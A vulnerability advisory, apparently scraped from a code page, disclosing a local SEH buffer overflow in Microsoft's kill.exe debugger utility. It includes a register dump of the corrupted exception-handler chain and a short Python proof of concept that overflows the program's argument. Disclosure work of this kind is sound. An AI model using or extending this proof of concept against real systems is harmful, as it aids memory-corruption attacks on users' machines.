99 lines
No EOL
2.2 KiB
Python
Executable file
99 lines
No EOL
2.2 KiB
Python
Executable file
'''
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[+] Credits: HYP3RLINX
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[+] Website: hyp3rlinx.altervista.org
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[+] Source: http://hyp3rlinx.altervista.org/advisories/MS-KILL-UTILITY-BUFFER-OVERFLOW.txt
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[+] ISR: ApparitionSec
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Vendor:
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=================
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www.microsoft.com
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Product:
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=========================================
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Microsoft Process Kill Utility "kill.exe"
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File version: 6.3.9600.17298
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The Kill tool (kill.exe), a tool used to terminate a process, part of the
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WinDbg program.
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Vulnerability Type:
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===================
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Buffer Overflow
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SEH Buffer Overflow @ about 512 bytes
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Vulnerability Details:
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=====================
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Register dump
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'SEH chain of main thread
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Address SE handler
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001AF688 kernel32.756F489B
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001AFBD8 52525252
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42424242 *** CORRUPT ENTRY ***
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001BF81C 41414141 AAAA
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001BF820 41414141 AAAA
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001BF824 41414141 AAAA
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001BF828 41414141 AAAA
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001BF82C 41414141 AAAA
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001BF830 41414141 AAAA
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001BF834 909006EB ë Pointer to next SEH record
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001BF838 52525252 RRRR SE handler <================
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001BF83C 90909090
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001BF840 90909090
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Exploit code(s):
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================
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Python POC.
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'''
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junk="A"*508+"RRRR"
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pgm='c:\\Program Files (x86)\\Windows Kits\\8.1\\Debuggers\\x86\\kill.exe '
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subprocess.Popen([pgm, junk], shell=False)
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'''
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Disclosure Timeline:
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==================================
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Vendor Notification: June 24, 2016
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Vendor reply: Will not security service
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July 8, 2016 : Public Disclosure
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Exploitation Technique:
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=======================
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Local
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Severity Level:
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================
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Low
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[+] Disclaimer
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The information contained within this advisory is supplied "as-is" with no
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warranties or guarantees of fitness of use or otherwise.
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Permission is hereby granted for the redistribution of this advisory,
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provided that it is not altered except by reformatting it, and
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that due credit is given. Permission is explicitly given for insertion in
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vulnerability databases and similar, provided that due credit
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is given to the author. The author is not responsible for any misuse of the
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information contained herein and accepts no responsibility
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for any damage caused by the use or misuse of this information. The author
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prohibits any malicious use of security related information
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or exploits by the author or elsewhere.
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HYP3RLINX
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''' |